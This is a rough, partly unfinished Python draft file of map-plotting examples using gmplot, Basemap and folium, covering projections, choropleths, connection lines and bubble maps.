os\r\nos.chdir(\"/Users/y.holtz/Dropbox/Python_GG\")\r\ncwd = os.getcwd()\r\ncwd\r\n\r\n# To find the position of a place in the world.\r\n#https://epsg.io/map\r\n\r\n\r\n\r\n\r\n# \u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\r\n# 280 Basic Map with gmplot\r\n# doc : https://github.com/vgm64/gmplot\r\n# Installation is easy pip install gmplot\r\n# --> Hard to put it online\r\n# Load library\r\nimport gmplot as gmp\r\n\r\n# Create an object that is your map\r\nmylat=37.428\r\nmylong=-120\r\ngmap = gmp.GoogleMapPlotter(mylat, mylong, zoom=9)\r\n\r\n# Save it\r\ngmap.draw(\"PNG/#280_basic_map_gmplot1.html\")\r\n\r\n\r\nhelp(gmp.GoogleMapPlotter)\r\n\r\ngmap.plot(latitudes, longitudes, 'cornflowerblue', edge_width=10)\r\ngmap.scatter(more_lats, more_lngs, '#3B0B39', size=40, marker=False)\r\ngmap.scatter(marker_lats, marker_lngs, 'k', marker=True)\r\ngmap.heatmap(heat_lats, heat_lngs)\r\n\r\ngmap.draw(\"PNG/#280_basic_map_gmplot1.html\")\r\n\r\n\r\n\r\n\r\n\r\n\r\n# \u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\r\n# 281 First Basic Map with Basemap\r\n# Installation is really hard since you need geos and other stuff.\r\n# See   https://www.youtube.com/watch?v=mXR47qiTdWQ\r\n\r\n# This page shows how to make a basic map: the basic elements\r\n\r\n#BASEMAPS\r\n#http://basemaptutorial.readthedocs.io/en/latest/plotting_data.html\r\n#http://www.datadependence.com/2016/06/creating-map-visualisations-in-python/\r\n\r\n# libraries\r\nfrom mpl_toolkits.basemap import Basemap\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\n\r\n#my_dpi=96\r\n#plt.figure(figsize=(480/my_dpi, 480/my_dpi), dpi=my_dpi)\r\n\r\n# Always start witht the basemap function to initialize a map\r\nm=Basemap()\r\n\r\n# Then add element. Several elements are available: coastline:\r\nm.drawcoastlines()\r\nm.drawmapboundary()\r\nm.fillcontinents()\r\n#m.drawrivers(color='#0000ff')\r\nplt.savefig('PNG/#281_First Basemap.png', dpi=110, bbox_inches='tight')\r\n\r\nplt.show()\r\n\r\n\r\n\r\n\r\n# \u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\r\n# 282 Custom appearance\r\n\r\n# libraries\r\nfrom mpl_toolkits.basemap import Basemap\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\n\r\n# initialise the map\r\nm=Basemap(llcrnrlon=-180, llcrnrlat=-60,urcrnrlon=180,urcrnrlat=70)\r\n\r\n# Control the background color\r\nm.drawmapboundary(fill_color='#A6CAE0', linewidth=0)\r\n\r\n# Fill the continent\r\nm.fillcontinents(color='grey', alpha=0.7, lake_color='grey')\r\n\r\n# Draw the coastline\r\nm.drawcoastlines(linewidth=0.1, color=\"white\")\r\n\r\nplt.savefig('PNG/#282_Custom_Basemap.png', dpi=110, bbox_inches='tight')\r\n\r\n# Show\r\nplt.show()\r\n\r\n\r\n\r\n\r\n\r\n# \u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\r\n# 283 Set bounding box\r\n\r\n# libraries\r\nfrom mpl_toolkits.basemap import Basemap\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\n\r\n# Control the position of the square. Give the coordinate of 2 corners\r\nm=Basemap(llcrnrlon=-100, llcrnrlat=-58,urcrnrlon=-30,urcrnrlat=15)\r\nm.drawmapboundary(fill_color='#A6CAE0', linewidth=0)\r\nm.fillcontinents(color='brown', alpha=0.6, lake_color='grey')\r\nm.drawcoastlines(linewidth=0.1, color=\"white\")\r\nplt.savefig('PNG/#283_Setbounding1.png', dpi=110, bbox_inches='tight')\r\nplt.show()\r\n\r\n# does not work\r\nm=Basemap(lat_0=-36.5, lon_0=-75 , boundinglat=1)\r\nm.drawmapboundary(fill_color='#A6CAE0', linewidth=0)\r\nm.fillcontinents(color='brown', alpha=0.7, lake_color='grey')\r\nm.drawcoastlines(linewidth=0.1, color=\"white\")\r\nplt.show()\r\n\r\n\r\n\r\n\r\n\r\n# \u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\r\n# 284 Different projection of Basemap\r\n# The default is cyl\r\n# It is impossible to start a map without a projection.\r\n# For certain projection, you HAVE to give other arguments\r\n\r\n# libraries\r\nfrom mpl_toolkits.basemap import Basemap\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\n\r\n\r\nmy_dpi=96\r\nplt.figure(figsize=(480/my_dpi, 480/my_dpi), dpi=my_dpi)\r\n\r\n# ortho\r\nplt.gca()\r\nm=Basemap(lat_0=0, lon_0=0, projection='ortho' )\r\nm.drawmapboundary(fill_color='#A6CAE0')\r\nm.fillcontinents(color='grey', alpha=0.3)\r\nplt.savefig('PNG/#284_Basemap_Projections1.png', dpi=96, bbox_inches='tight')\r\n# merc\r\nplt.gca()\r\nm=Basemap(llcrnrlon=-180, llcrnrlat=-60,urcrnrlon=180,urcrnrlat=80, projection='merc')\r\nm.drawmapboundary(fill_color='#A6CAE0')\r\nm.fillcontinents(color='grey', alpha=0.3)\r\nplt.savefig('PNG/#284_Basemap_Projections2.png', dpi=96, bbox_inches='tight')\r\n# robin\r\nplt.gca()\r\nm=Basemap(lat_0=0, lon_0=0, projection='robin' )\r\nm.drawmapboundary(fill_color='#A6CAE0')\r\nm.fillcontinents(color='grey', alpha=0.3)\r\nplt.savefig('PNG/#284_Basemap_Projections3.png', dpi=96, bbox_inches='tight')\r\n#aeqd --> you HAVE to provide lon_0 and  lat_0\r\nplt.gca()\r\nm=Basemap(lat_0=30, lon_0=30, projection='aeqd' )\r\nm.drawmapboundary(fill_color='#A6CAE0')\r\nm.fillcontinents(color='grey', alpha=0.3)\r\nplt.savefig('PNG/#284_Basemap_Projections4.png', dpi=96, bbox_inches='tight')\r\n#nsper\r\nplt.gca()\r\nm=Basemap(lat_0=0, lon_0=0, projection='nsper' )\r\nm.drawmapboundary(fill_color='#A6CAE0')\r\nm.fillcontinents(color='grey', alpha=0.3)\r\nplt.savefig('PNG/#284_Basemap_Projections5.png', dpi=96, bbox_inches='tight')\r\n#cyl\r\nplt.gca()\r\nm=Basemap(llcrnrlon=-180, llcrnrlat=-60,urcrnrlon=180,urcrnrlat=80, projection='cyl' )\r\nm.drawmapboundary(fill_color='#A6CAE0')\r\nm.fillcontinents(color='grey', alpha=0.3)\r\nplt.savefig('PNG/#284_Basemap_Projections6.png', dpi=96, bbox_inches='tight')\r\n\r\n\r\n\r\n\r\n\r\n\r\n# \u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\r\n# 285 Use background layer\r\n\r\n# libraries\r\nfrom mpl_toolkits.basemap import Basemap\r\nimport matplotlib.pyplot as plt\r\n\r\n\r\n# B -- Use bluemarble\r\nm = Basemap(llcrnrlon=-10.5,llcrnrlat=33,urcrnrlon=10.,urcrnrlat=46., resolution='i', projection='cass', lat_0 = 39.5, lon_0 = 0.)\r\nm.bluemarble()\r\nplt.savefig('PNG/#285_Back_Layout1.png', dpi=130, bbox_inches='tight')\r\nplt.show()\r\n\r\n# C -- Use shadedrelief()\r\nm = Basemap(llcrnrlon=-10.5,llcrnrlat=33,urcrnrlon=10.,urcrnrlat=46., resolution='i', projection='cass', lat_0 = 39.5, lon_0 = 0.)\r\nm.shadedrelief()\r\nplt.savefig('PNG/#285_Back_Layout2.png', dpi=130, bbox_inches='tight')\r\nplt.show()\r\n\r\n# D -- m.etopo()\r\nm = Basemap(llcrnrlon=-10.5,llcrnrlat=33,urcrnrlon=10.,urcrnrlat=46., resolution='i', projection='cass', lat_0 = 39.5, lon_0 = 0.)\r\nm.etopo()\r\nplt.savefig('PNG/#285_Back_Layout3.png', dpi=130, bbox_inches='tight')\r\n\r\n# A -- Call arcgis: service is the layer you choose. There are several possibility: ESRI_Imagery_World_2D / World_Shaded_Relief / World_Street_Map\r\nm = Basemap(projection='mill',llcrnrlon=-123. ,llcrnrlat=37,urcrnrlon=-121 ,urcrnrlat=39, resolution = 'l', epsg = 4326)\r\nm.arcgisimage(service='World_Shaded_Relief', xpixels = 1500, verbose= True)\r\nplt.savefig('PNG/#285_Back_Layout4.png', dpi=130, bbox_inches='tight')\r\nm.arcgisimage(service='Ocean_Basemap', xpixels = 1500, verbose= True)\r\nplt.savefig('PNG/#285_Back_Layout5.png', dpi=130, bbox_inches='tight')\r\n\r\n# For more info\r\nhelp(m.arcgisimage) \r\n\r\n\r\n\r\n\r\n\r\n\r\n# \u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\r\n# 286 Boundaries already in the package\r\n\r\n\r\n# Draw world countries\r\nfrom mpl_toolkits.basemap import Basemap\r\nimport matplotlib.pyplot as plt\r\n\r\nmap = Basemap(llcrnrlon=-160, llcrnrlat=-60,urcrnrlon=160,urcrnrlat=70)\r\nmap.drawmapboundary(fill_color='#A6CAE0')\r\nmap.fillcontinents(color='#e6b800',lake_color='#e6b800')\r\nmap.drawcountries(color=\"white\")\r\nplt.savefig('PNG/#286_boundaries1.png', dpi=110, bbox_inches='tight')\r\nplt.show()\r\n\r\n\r\n# Counties and states of the USA are available\r\nfrom mpl_toolkits.basemap import Basemap\r\nimport matplotlib.pyplot as plt\r\n\r\nmap = Basemap(llcrnrlon=-130, llcrnrlat=25, urcrnrlon=-65.,urcrnrlat=52.,resolution='i', lat_0 = 40., lon_0 = -80)\r\nmap.drawmapboundary(fill_color='#A6CAE0')\r\nmap.fillcontinents(color='#e6b800',lake_color='#A6CAE0')\r\nmap.drawcounties()\r\nplt.savefig('PNG/#286_boundaries2.png', dpi=110, bbox_inches='tight')\r\nplt.show()\r\n\r\n# States\r\nfrom mpl_toolkits.basemap import Basemap\r\nimport matplotlib.pyplot as plt\r\n\r\nmap = Basemap(llcrnrlon=-130, llcrnrlat=25, urcrnrlon=-65.,urcrnrlat=52.,resolution='i', lat_0 = 40., lon_0 = -80)\r\nmap.drawmapboundary(fill_color='#A6CAE0')\r\nmap.fillcontinents(color='#e6b800',lake_color='#A6CAE0')\r\nmap.drawstates()\r\nmap.drawcountries()\r\nplt.savefig('PNG/#286_boundaries3.png', dpi=110, bbox_inches='tight')\r\nplt.show()\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n# \u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\r\n# 287 Add a map scale\r\nTODO\r\n\r\n# States\r\nfrom mpl_toolkits.basemap import Basemap\r\nimport matplotlib.pyplot as plt\r\n\r\nmap = Basemap()\r\nmap.drawmapscale(-7., 35.8, -3.25, 39.5, 500, barstyle='fancy')\r\nmap.drawmapscale(-0., 35.8, -3.25, 39.5, 500, fontsize = 14)\r\nhelp(Basemap)\r\n\r\n\r\n\r\n\r\n\r\n# \u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\r\n# 287 Read a shapefile\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n# \u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\r\n# 288 Basic map with folium\r\n# install wih \r\n#pip install folium\r\n\r\n\r\n# import the library\r\nimport folium\r\n\r\n# Make an empty map\r\nm = folium.Map(location=[20, 0], zoom_start=3.5)\r\n\r\n# Other tiles:\r\n# OpenStreetMap, Stamen Terrain, Stamen Toner, Mapbox Bright, and Mapbox Control Room\r\nm = folium.Map(location=[48.85, 2.35], tiles=\"Mapbox Bright\", zoom_start=2)\r\nm.save('PNG/CARTO/#288_basic_folium_map2.html')\r\nm = folium.Map(location=[48.85, 2.35], tiles=\"Mapbox Control Room\", zoom_start=2)\r\nm.save('PNG/CARTO/#288_basic_folium_map3.html')\r\nm = folium.Map(location=[48.85, 2.35], tiles=\"Stamen Toner\", zoom_start=2)\r\nm.save('PNG/CARTO/#288_basic_folium_map4.html')\r\nm = folium.Map(location=[48.85, 2.35], tiles=\"OpenStreetMap\", zoom_start=2)\r\nm.save('PNG/CARTO/#288_basic_folium_map5.html')\r\n\r\n# Same but with a zoom\r\nm = folium.Map(location=[48.85, 2.35], tiles=\"Mapbox Bright\", zoom_start=10)\r\nm.save('PNG/CARTO/#288_basic_folium_map6.html')\r\nm = folium.Map(location=[48.85, 2.35], tiles=\"Stamen Toner\", zoom_start=10)\r\nm.save('PNG/CARTO/#288_basic_folium_map7.html')\r\nm = folium.Map(location=[48.85, 2.35], tiles=\"Stamen Terrain\", zoom_start=10)\r\nm.save('PNG/CARTO/#288_basic_folium_map8.html')\r\nm = folium.Map(location=[48.85, 2.35], tiles=\"OpenStreetMap\", zoom_start=10)\r\nm.save('PNG/CARTO/#288_basic_folium_map9.html')\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n  -----------------------------------------\r\n |                      |\r\n |                      |\r\n |  SERIE #290 -> #300  CHLOROPLETH MAPS\r\n |                      |\r\n |                      |\r\n  -----------------------------------------\r\n\r\n# \u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\r\n# 290 Chloropleth map from Shapefile\r\n\r\n\r\n\r\n\r\n# \u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\r\n# 291 Chloropleth map without shapefile= for country\r\n\r\n\r\n\r\n# \u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\r\n# 292 Alternative: hexbin map\r\n\r\n\r\n\r\n# \u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\r\n# 292 with FOLIUM\r\n\r\n# We need the shape of the zones to color.\r\n# This exist through shape files that must be converted to geojson file. Can be done here: http://ogre.adc4gis.com\r\n\r\n# http://python-visualization.github.io/folium/docs-master/quickstart.html#Choropleth-maps\r\n\r\n# Import libraries\r\nimport pandas as pd\r\nimport folium\r\n\r\n# Find the original file here: https://github.com/python-visualization/folium/tree/master/examples/data\r\n# You have to download this file and set the directory where you saved it\r\nstate_geo = os.path.join('/Users/y.holtz/Desktop/', 'us-states.json')\r\n\r\n# Find the original file here: https://github.com/python-visualization/folium/tree/master/examples/data\r\nstate_unemployment = os.path.join('/Users/y.holtz/Desktop/', 'US_Unemployment_Oct2012.csv')\r\nstate_data = pd.read_csv(state_unemployment)\r\n\r\n# Initialize the map:\r\nm = folium.Map(location=[37, -102], zoom_start=4)\r\n\r\n# Add the color for the chloropleth:\r\nm.choropleth(\r\n    geo_data=state_geo,\r\n    name='choropleth',\r\n    data=state_data,\r\n    columns=['State', 'Unemployment'],\r\n    key_on='feature.id',\r\n    fill_color='YlGn',\r\n    fill_opacity=0.7,\r\n    line_opacity=0.2,\r\n    legend_name='Unemployment Rate (%)'\r\n)\r\nfolium.LayerControl().add_to(m)\r\n\r\n# Save to html\r\nm.save('PNG/CARTO/#292_folium_chloropleth_USA1.html')\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nimport json\r\nimport folium\r\nimport numpy as np\r\n\r\n\r\ngeo_str = json.dumps(json.load(open(geo_path, 'r')))\r\nthreshold_scale = np.linspace(df['2013'].min(),\r\n                              df['2013'].max(), 6, dtype=int).tolist()\r\n\r\n\r\nmapa = folium.Map(location=[-15.80, -47.88],\r\n                  tiles=\"Mapbox Bright\",\r\n                  zoom_start=3)\r\n\r\nmapa.geo_json(geo_str=geo_str,\r\n              data=df,\r\n              columns=['state', '2013'],\r\n              fill_color='YlGn',\r\n              key_on='feature.id',\r\n              threshold_scale=threshold_scale)\r\n\r\nmapa\r\n\r\nmapa.save('PNG/CARTO/index.html')\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nimport pandas as pd\r\n\r\nstate_geo = os.path.join('data', 'us-states.json')\r\n\r\nstate_unemployment = os.path.join('/Users/y.holtz/Desktop/', 'US_Unemployment_Oct2012.csv')\r\nstate_data = pd.read_csv(state_unemployment)\r\n\r\nm = folium.Map(location=[48, -102], zoom_start=3)\r\n\r\nm.choropleth(\r\n    geo_data=state_geo,\r\n    name='choropleth',\r\n    data=state_data,\r\n    columns=['State', 'Unemployment'],\r\n    key_on='feature.id',\r\n    fill_color='YlGn',\r\n    fill_opacity=0.7,\r\n    line_opacity=0.2,\r\n    legend_name='Unemployment Rate (%)'\r\n)\r\n\r\n\r\nfolium.LayerControl().add_to(m)\r\n\r\nm\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHEXBIN MAP = alternative\r\nhttp://blog.kaggle.com/2016/11/30/seventeen-ways-to-map-data-in-kaggle-kernels/\r\nimport pandas as pd\r\nimport matplotlib.pyplot as plt\r\nfrom mpl_toolkits.basemap import Basemap\r\nfrom matplotlib import cm\r\n%matplotlib inline\r\n \r\nwest, south, east, north = -74.26, 40.50, -73.70, 40.92\r\n \r\nfig = plt.figure(figsize=(14,10))\r\nax = fig.add_subplot(111)\r\n \r\nm = Basemap(projection='merc', llcrnrlat=south, urcrnrlat=north,\r\n            llcrnrlon=west, urcrnrlon=east, lat_ts=south, resolution='i')\r\nx, y = m(uber_data['Lon'].values, uber_data['Lat'].values)\r\nm.hexbin(x, y, gridsize=1000,\r\n         bins='log', cmap=cm.YlOrRd_r);\r\n\r\n         \r\n         \r\n         \r\nNICE\r\nplt.clf()\r\nfig = plt.figure()\r\nax = fig.add_subplot(111, axisbg='w', frame_on=False)\r\n\r\n# use a blue colour ramp - we'll be converting it to a map using cmap()\r\ncmap = plt.get_cmap('Blues')\r\n# draw wards with grey outlines\r\ndf_map['patches'] = df_map['poly'].map(lambda x: PolygonPatch(x, ec='#555555', lw=.2, alpha=1., zorder=4))\r\npc = PatchCollection(df_map['patches'], match_original=True)\r\n# impose our colour map onto the patch collection\r\nnorm = Normalize()\r\npc.set_facecolor(cmap(norm(df_map['jenks_bins'].values)))\r\nax.add_collection(pc)\r\n\r\n# Add a colour bar\r\ncb = colorbar_index(ncolors=len(jenks_labels), cmap=cmap, shrink=0.5, labels=jenks_labels)\r\ncb.ax.tick_params(labelsize=6)\r\n\r\n# Show highest densities, in descending order\r\nhighest = '\\n'.join(\r\n    value[1] for _, value in df_map[(df_map['jenks_bins'] == 4)][:10].sort().iterrows())\r\nhighest = 'Most Dense Wards:\\n\\n' + highest\r\n# Subtraction is necessary for precise y coordinate alignment\r\ndetails = cb.ax.text(\r\n    -1., 0 - 0.007,\r\n    highest,\r\n    ha='right', va='bottom',\r\n    size=5,\r\n    color='#555555')\r\n\r\n# Bin method, copyright and source data info\r\nsmallprint = ax.text(\r\n    1.03, 0,\r\n    'Classification method: natural breaks\\nContains Ordnance Survey data\\n$\\copyright$ Crown copyright and database right 2013\\nPlaque data from http://openplaques.org',\r\n    ha='right', va='bottom',\r\n    size=4,\r\n    color='#555555',\r\n    transform=ax.transAxes)\r\n\r\n# Draw a map scale\r\nm.drawmapscale(\r\n    coords[0] + 0.08, coords[1] + 0.015,\r\n    coords[0], coords[1],\r\n    10.,\r\n    barstyle='fancy', labelstyle='simple',\r\n    fillcolor1='w', fillcolor2='#555555',\r\n    fontcolor='#555555',\r\n    zorder=5)\r\n# this will set the image width to 722px at 100dpi\r\nplt.tight_layout()\r\nfig.set_size_inches(7.22, 5.25)\r\nplt.savefig('data/london_plaques.png', dpi=100, alpha=True)\r\nplt.show()\r\n         \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n         \r\n\r\n\r\n\r\n\r\n\r\n -----------------------------------------\r\n |                      |\r\n |                      |\r\n |  SERIE #300 -> #310  CONNETION MAPS\r\n |                      |\r\n |                      |\r\n  -----------------------------------------\r\n\r\n\r\n# \u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\r\n# #300 How to draw a connection\r\n\r\n# libraries\r\nfrom mpl_toolkits.basemap import Basemap\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\n\r\n# A basic map\r\nm=Basemap(llcrnrlon=-100, llcrnrlat=20,urcrnrlon=30,urcrnrlat=70)\r\nm.drawmapboundary(fill_color='#A6CAE0', linewidth=0)\r\nm.fillcontinents(color='grey', alpha=0.7, lake_color='grey')\r\nm.drawcoastlines(linewidth=0.1, color=\"white\")\r\n\r\n# Add a connection between new york and London\r\nstartlat = 40.78; startlon = -73.98\r\narrlat = 51.53; arrlon = 0.08\r\nm.drawgreatcircle(startlon,startlat,arrlon,arrlat,linewidth=2,color='orange')\r\nplt.savefig('PNG/#300_draw_one_connection.png', dpi=110, bbox_inches='tight')\r\n\r\nplt.show()\r\n\r\n\r\n\r\n\r\n\r\n\r\n# \u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\r\n# #301 Draw several connection\r\n\r\n# libraries\r\nfrom mpl_toolkits.basemap import Basemap\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\n\r\n# A basic map\r\nm=Basemap(llcrnrlon=-100, llcrnrlat=20,urcrnrlon=30,urcrnrlat=70)\r\nm.drawmapboundary(fill_color='#A6CAE0', linewidth=0)\r\nm.fillcontinents(color='grey', alpha=0.7, lake_color='grey')\r\nm.drawcoastlines(linewidth=0.1, color=\"white\")\r\n\r\n# Make a list of connection to draw\r\nlat=[-58, 2, 145, 30.32, -4.03, -73.57, 36.82, -38.5]\r\nlon=[-34, 49, -38, 59.93, 5.33, 45.52, -1.29, -12.97]\r\nname=['Buenos Aires', 'Paris', 'melbourne', 'St Petersbourg', 'Abidjan', 'Montreal', 'Nairobi', 'Salvador']\r\n\r\n\r\n\r\nfrom itertools import product\r\npd.DataFrame(list(product(l1, l2)), columns=['l1', 'l2'])\r\n\r\n\r\n\r\n\r\n\r\n\tBuenos_aires=c(-58,-34),\r\n\tParis=c(2,49),\r\n\tMelbourne=c(145,-38),\r\n\tSaint.Petersburg=c(30.32, 59.93),\r\n\tAbidjan=c(-4.03, 5.33),\r\n\tMontreal=c(-73.57, 45.52),\r\n\tNairobi=c(36.82, -1.29),\r\n\tSalvador=c(-38.5, -12.97)\r\n\r\n\r\nlat=[-58, 2, 145, 30.32, -4.03, -73.57, 36.82, -38.5]\r\nlon=[-34, 49, -38, 59.93, 5.33, 45.52, -1.29, -12.97]\r\n\r\n# Add a connection between new york and London\r\nstartlat = 40.78; startlon = -73.98\r\narrlat = 51.53; arrlon = 0.08\r\nm.drawgreatcircle(startlon,startlat,arrlon,arrlat,linewidth=2,color='orange')\r\nplt.savefig('PNG/#300_draw_one_connection.png', dpi=110, bbox_inches='tight')\r\n\r\nplt.show()\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n# Show where is the night\r\nfrom mpl_toolkits.basemap import Basemap\r\nimport matplotlib.pyplot as plt\r\nfrom datetime import datetime\r\nmap = Basemap(projection='vandg',lon_0=0,resolution='c')\r\nmap.drawmapboundary(fill_color=\"#7777ff\")\r\nmap.fillcontinents(color=\"#ddaa66\",lake_color=\"#7777ff\")\r\nmap.drawcoastlines()\r\nmap.nightshade(datetime.now(), delta=0.2)\r\nplt.show()\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n  -----------------------------------------\r\n |                      |\r\n |                      |\r\n |  SERIE #310 -> #320  BUBBLE MAPS\r\n |                      |\r\n |                      |\r\n  -----------------------------------------\r\n\r\n# Repo\r\nimport os\r\nos.chdir(\"/Users/y.holtz/Dropbox/Python_GG\")\r\ncwd = os.getcwd()\r\ncwd\r\n\r\n\r\n# \u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\r\n# #310 Basic Bubble Map\r\n\r\n# libraries\r\nfrom mpl_toolkits.basemap import Basemap\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\n\r\n\r\n# Make a dots to show on the map\r\ndata = pd.DataFrame({ \r\n        'lat':[-58, 2, 145, 30.32, -4.03, -73.57, 36.82, -38.5],\r\n        'lon':[-34, 49, -38, 59.93, 5.33, 45.52, -1.29, -12.97],\r\n        'name':['Buenos Aires', 'Paris', 'melbourne', 'St Petersbourg', 'Abidjan', 'Montreal', 'Nairobi', 'Salvador']\r\n        })\r\ndata\r\n\r\n# A basic map\r\nm=Basemap(llcrnrlon=-160, llcrnrlat=-75,urcrnrlon=160,urcrnrlat=80)\r\nm.drawmapboundary(fill_color='#A6CAE0', linewidth=0)\r\nm.fillcontinents(color='grey', alpha=0.7, lake_color='grey')\r\nm.drawcoastlines(linewidth=0.1, color=\"white\")\r\n\r\n# Add a marker per city of the data frame!\r\nm.plot(data['lat'], data['lon'], linestyle='none', marker=\"o\", markersize=16, alpha=0.6, c=\"orange\", markeredgecolor=\"black\", markeredgewidth=1)\r\nplt.savefig('PNG/#310_basic_bubblemap.png', dpi=150, bbox_inches='tight')\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n# \u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\r\n# #311 Custom markers\r\n- size\r\n- shape..\r\nlike for plot!\r\n\r\n\r\n\r\n# Tweet file on the web\r\n# http://python-graph-gallery.com/wp-content/uploads/TweetSurfData.csv\r\n\r\n\r\n# Libraries\r\nimport pandas as pd\r\nfrom mpl_toolkits.basemap import Basemap\r\nimport matplotlib.pyplot as plt\r\n\r\nmy_dpi=96\r\nplt.figure(figsize=(1300/my_dpi, 900/my_dpi), dpi=my_dpi)\r\n\r\n# read the data (on the web)\r\ndata = pd.read_csv('http://python-graph-gallery.com/wp-content/uploads/TweetSurfData.csv', sep=\";\")\r\n\r\n# Make the background map\r\nm=Basemap(llcrnrlon=-180, llcrnrlat=-70,urcrnrlon=180,urcrnrlat=70)\r\nm.drawmapboundary(fill_color='#A6CAE0', linewidth=0)\r\nm.fillcontinents(color='grey', alpha=0.3)\r\nm.drawcoastlines(linewidth=0.1, color=\"white\")\r\n\r\n# prepare a color for each point depending on the continent.\r\ndata['labels_enc'] = 